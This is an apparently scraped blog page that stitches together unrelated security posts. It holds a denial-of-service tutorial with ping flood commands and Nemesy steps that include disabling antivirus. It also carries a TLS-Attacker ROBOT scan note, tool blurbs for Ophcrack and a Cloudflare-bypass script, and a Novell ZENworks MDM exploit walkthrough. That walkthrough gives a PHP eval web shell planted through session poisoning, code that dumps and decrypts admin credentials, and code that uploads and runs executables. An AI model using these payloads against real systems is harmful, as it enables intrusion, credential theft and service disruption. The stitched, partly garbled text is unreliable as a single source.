闲言碎语(彭嘉佑)

Monday, April 20, 2020

DOS (Denial Of Service) Attack Tutorial Ping Of Death ;DDOS

What is DoS Attack?

DOS is an attack used to deny legitimate users access to a resource such as accessing a website, network, emails, etc. or making it extremely slow. DoS is the acronym for Denial of Service. This type of attack is usually implemented by hitting the target resource such as a web server with too many requests at the same time. This results in the server failing to respond to all the requests. The effect of this can either be crashing the servers or slowing them down.

Cutting off some business from the internet can lead to significant loss of business or money. The internet and computer networks power a lot of businesses. Some organizations such as payment gateways, e-commerce sites entirely depend on the internet to do business.

In this tutorial, we will introduce you to what denial of service attack is, how it is performed and how you can protect against such attacks.

Topics covered in this tutorial

Types of Dos Attacks

There are two types of Dos attacks namely;

DoS– this type of attack is performed by a single host
Distributed DoS– this type of attack is performed by a number of compromised machines that all target the same victim. It floods the network with data packets.

How DoS attacks work

Let's look at how DoS attacks are performed and the techniques used. We will look at five common types of attacks.

Ping of Death

The ping command is usually used to test the availability of a network resource. It works by sending small data packets to the network resource. The ping of death takes advantage of this and sends data packets above the maximum limit (65,536 bytes) that TCP/IP allows. TCP/IP fragmentation breaks the packets into small chunks that are sent to the server. Since the sent data packages are larger than what the server can handle, the server can freeze, reboot, or crash.

Smurf

This type of attack uses large amounts of Internet Control Message Protocol (ICMP) ping traffic target at an Internet Broadcast Address. The reply IP address is spoofed to that of the intended victim. All the replies are sent to the victim instead of the IP used for the pings. Since a single Internet Broadcast Address can support a maximum of 255 hosts, a smurf attack amplifies a single ping 255 times. The effect of this is slowing down the network to a point where it is impossible to use it.

Buffer overflow

A buffer is a temporal storage location in RAM that is used to hold data so that the CPU can manipulate it before writing it back to the disc. Buffers have a size limit. This type of attack loads the buffer with more data that it can hold. This causes the buffer to overflow and corrupt the data it holds. An example of a buffer overflow is sending emails with file names that have 256 characters.

Teardrop

This type of attack uses larger data packets. TCP/IP breaks them into fragments that are assembled on the receiving host. The attacker manipulates the packets as they are sent so that they overlap each other. This can cause the intended victim to crash as it tries to re-assemble the packets.

SYN attack

SYN is a short form for Synchronize. This type of attack takes advantage of the three-way handshake to establish communication using TCP. SYN attack works by flooding the victim with incomplete SYN messages. This causes the victim machine to allocate memory resources that are never used and deny access to legitimate users.

DoS attack tools

The following are some of the tools that can be used to perform DoS attacks.

Nemesy– this tool can be used to generate random packets. It works on windows. This tool can be downloaded from http://packetstormsecurity.com/files/25599/nemesy13.zip.html . Due to the nature of the program, if you have an antivirus, it will most likely be detected as a virus.
Land and LaTierra– this tool can be used for IP spoofing and opening TCP connections
Blast– this tool can be downloaded from http://www.opencomm.co.uk/products/blast/features.php
Panther- this tool can be used to flood a victim's network with UDP packets.
Botnets– these are multitudes of compromised computers on the Internet that can be used to perform a distributed denial of service attack.

DoS Protection: Prevent an attack

An organization can adopt the following policy to protect itself against Denial of Service attacks.

Attacks such as SYN flooding take advantage of bugs in the operating system. Installing security patches can help reduce the chances of such attacks.
Intrusion detection systems can also be used to identify and even stop illegal activities
Firewalls can be used to stop simple DoS attacks by blocking all traffic coming from an attacker by identifying his IP.
Routers can be configured via the Access Control List to limit access to the network and drop suspected illegal traffic.

Hacking Activity: Ping of Death

We will assume you are using Windows for this exercise. We will also assume that you have at least two computers that are on the same network. DOS attacks are illegal on networks that you are not authorized to do so. This is why you will need to setup your own network for this exercise.

Open the command prompt on the target computer

Enter the command ipconfig. You will get results similar to the ones shown below

For this example, we are using Mobile Broadband connection details. Take note of the IP address. Note: for this example to be more effective, and you must use a LAN network.

Switch to the computer that you want to use for the attack and open the command prompt

We will ping our victim computer with infinite data packets of 65500

Enter the following command

ping 10.128.131.108 –t |65500

HERE,

"ping" sends the data packets to the victim
"10.128.131.108" is the IP address of the victim
"-t" means the data packets should be sent until the program is stopped
"-l" specifies the data load to be sent to the victim

You will get results similar to the ones shown below

Flooding the target computer with data packets doesn't have much effect on the victim. In order for the attack to be more effective, you should attack the target computer with pings from more than one computer.

The above attack can be used to attacker routers, web servers etc.

If you want to see the effects of the attack on the target computer, you can open the task manager and view the network activities.

Right click on the taskbar
Select start task manager
Click on the network tab
You will get results similar to the following

If the attack is successful, you should be able to see increased network activities.

Hacking Activity: Launch a DOS attack

In this practical scenario, we are going to use Nemesy to generate data packets and flood the target computer, router or server.

As stated above, Nemesy will be detected as an illegal program by your anti-virus. You will have to disable the anti-virus for this exercise.

Download Nemesy from http://packetstormsecurity.com/files/25599/nemesy13.zip.html
Unzip it and run the program Nemesy.exe
You will get the following interface

Enter the target IP address, in this example; we have used the target IP we used in the above example.

HERE,

0 as the number of packets means infinity. You can set it to the desired number if you do not want to send, infinity data packets
The size field specifies the data bytes to be sent and the delay specifies the time interval in milliseconds.

Click on send button

You should be able to see the following results

The title bar will show you the number of packets sent

Click on halt button to stop the program from sending data packets.

You can monitor the task manager of the target computer to see the network activities.

Summary

A denial of service attack's intent is to deny legitimate users access to a resource such as a network, server etc.
There are two types of attacks, denial of service and distributed denial of service.
A denial of service attack can be carried out using SYN Flooding, Ping of Death, Teardrop, Smurf or buffer overflow
Security patches for operating systems, router configuration, firewalls and intrusion detection systems can be used to protect against denial of service attacks.

@EVERYTHING NT

TLS-Attacker V2.2 And The ROBOT Attack

We found out that many TLS implementations are still vulnerable to different variations of a 19-year old Bleichenbacher's attack. Since Hanno argued to have an attack name, we called it ROBOT: https://robotattack.org

Given the new attack variants, we released a new version of TLS-Attacker 2.2, which covers our vulnerabilities.

Bleichenbacher's attack from 1998

In 1998, Daniel Bleichenbacher discovered that the error messages given by SSL servers for errors in the PKCS #1 1.5 padding allow an adversary to execute an adaptive-chosen ciphertext attack. This attack also belongs to the category of padding oracle attacks. By performing the attack, the adversary exploits different responses returned by the server that decrypts the requests and validates the PKCS#1 1.5 padding. Given such a server, the attacker can use it as an oracle and decrypt ciphertexts.

We refer to one of our previous blog posts for more details.

OK, so what is new in our research?

In our research we performed scans of several well-known hosts and found out many of them are vulnerable to different forms of the attack. In the original paper, an oracle was constructed from a server that responded with different TLS alert messages. In 2014, further side-channels like timings were exploited. However, all the previous studies have considered mostly open source implementations. Only a few vulnerabilities have been found.

In our scans we could identify more than seven vulnerable products and open source software implementations, including F5, Radware, Cisco, Erlang, Bouncy Castle, or WolfSSL. We identified new side-channels triggered by incomplete protocol flows or TCP socket states.

For example, some F5 products would respond to a malformed ciphertext located in the ClientKeyExchange message with a TLS alert 40 (handshake failure) but allow connections to timeout if the decryption was successful. We could observe this behaviour only when sending incomplete TLS handshakes missing ChangeCipherSpec and Finished messages.

See our paper for more interesting results.

Release of TLS-Attacker 2.2

These new findings motivated us to implement the complete detection of Bleichenbacher attacks in our TLS-Attacker. Before our research, TLS-Attacker had implemented a basic Bleichenbacher attack evaluation with full TLS protocol flows. We extended this evaluation with shortened protocol flows with missing ChangeCipherSpec and Finished messages, and implemented an oracle detection based on TCP timeouts and duplicated TLS alerts. In addition, Robert (@ic0ns) added many fixes and merged features like replay attacks on 0-RTT in TLS 1.3.

You can find the newest version release here: https://github.com/RUB-NDS/TLS-Attacker/releases/tag/v2.2

TLS-Attacker allows you to automatically send differently formatted PKCS#1 encrypted messages and observe the server behavior:

$ java -jar Attacks.jar bleichenbacher -connect [host]:[port]

In case the server responds with different error messages, it is most likely vulnerable. The following example provides an example of a vulnerable server detection output:

14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered vulnerable to this attack if it responds differently to the test vectors.
14:12:42 [main] CONSOLE attacks.impl.Attacker - A server is considered secure if it always responds the same way.
14:12:49 [main] CONSOLE attacks.impl.Attacker - Found a difference in responses in the Complete TLS protocol flow with CCS and Finished messages.
14:12:49 [main] CONSOLE attacks.impl.Attacker - The server seems to respond with different record contents.
14:12:49 [main] INFO  attacks.Main - Vulnerable:true

In this case TLS-Attacker identified that sending different PKCS#1 messages results in different server responses (the record contents are different).

Related word

Ophcrack

" Ophcrack is an open source (GPL license) program that cracks Windows LM hashes using rainbow tables. The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. There is also a Live CD version which automates the retrieval, decryption, and cracking of passwords from a Windows system. Rainbow tables for LM hashes of alphanumeric passwords are provided for free by the developers. These tables can crack 99.9% of alphanumeric passwords of up to 14 characters in usually a few seconds, and at most a few minutes. Larger rainbow tables (for LM hashes of passwords with all printable characters, including symbols and space) are available for purchase from Objectif Securité. Starting with version 2.3, Ophcrack also cracks NT hashes. This is necessary if generation of the LM hash is disabled (this is default on Windows Vista), or if the password is longer than 14 characters (in which case the LM hash is not stored)." read more...

Website: http://ophcrack.sourceforge.net

Related posts

CLOUDKiLL3R - Bypasses Cloudflare Protection Service Via TOR Browser

CLOUDKiLL3R bypasses Cloudflare protection service via TOR Browser !

CLOUDKiLL3R Requirements :

TOR Browser to scan as many sites as you want :)
Python Compiler

CLOUDKiLL3R Installation ?
Make sure that TOR Browser is up and running while working with CLOUDKiLL3R .
Make sure that the IP AND PORT are the same in TOR Browser preferences > advanced > Networks
Include the files below in one folder :

FILTER.txt
CK.pl

Make Sure The Modules Below Are Installed If NOT > use this command to install one : pip install [module name]

argparse
socks
socket
requests
sys

Contact :
Twitter.com/moh_security

Download CLOUDKiLL3R

Novell Zenworks MDM: Mobile Device Management For The Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

Time to wake up - https://www.youtube.com/watch?v=vQObWW06VAM

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:

Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]

I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.

The actual CVE details are as follows:

"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."

After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:

POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=

Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:

<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}

if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);

In English:

Check if the "language" parameter is passed in on the request
If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
If the session variable "language" is set, include it into the page
Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:

$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;

The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:

egrep -R '\$_SESSION\[.*\] =' ./

This pulled up a ton of results, including the following:

/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{

} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:

user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";

Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:

return mdm_DecryptData($result[0]['Password']);

Ends up it is magic – so I sent the following PHP to be executed on the server -

$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_creds.rb

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));

This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:

$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};

The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

https://github.com/steponequit/CVE-2013-1081/blob/master/novell_mdm_lfi.rb

Update: Metasploit modules are now available as part of metasploit.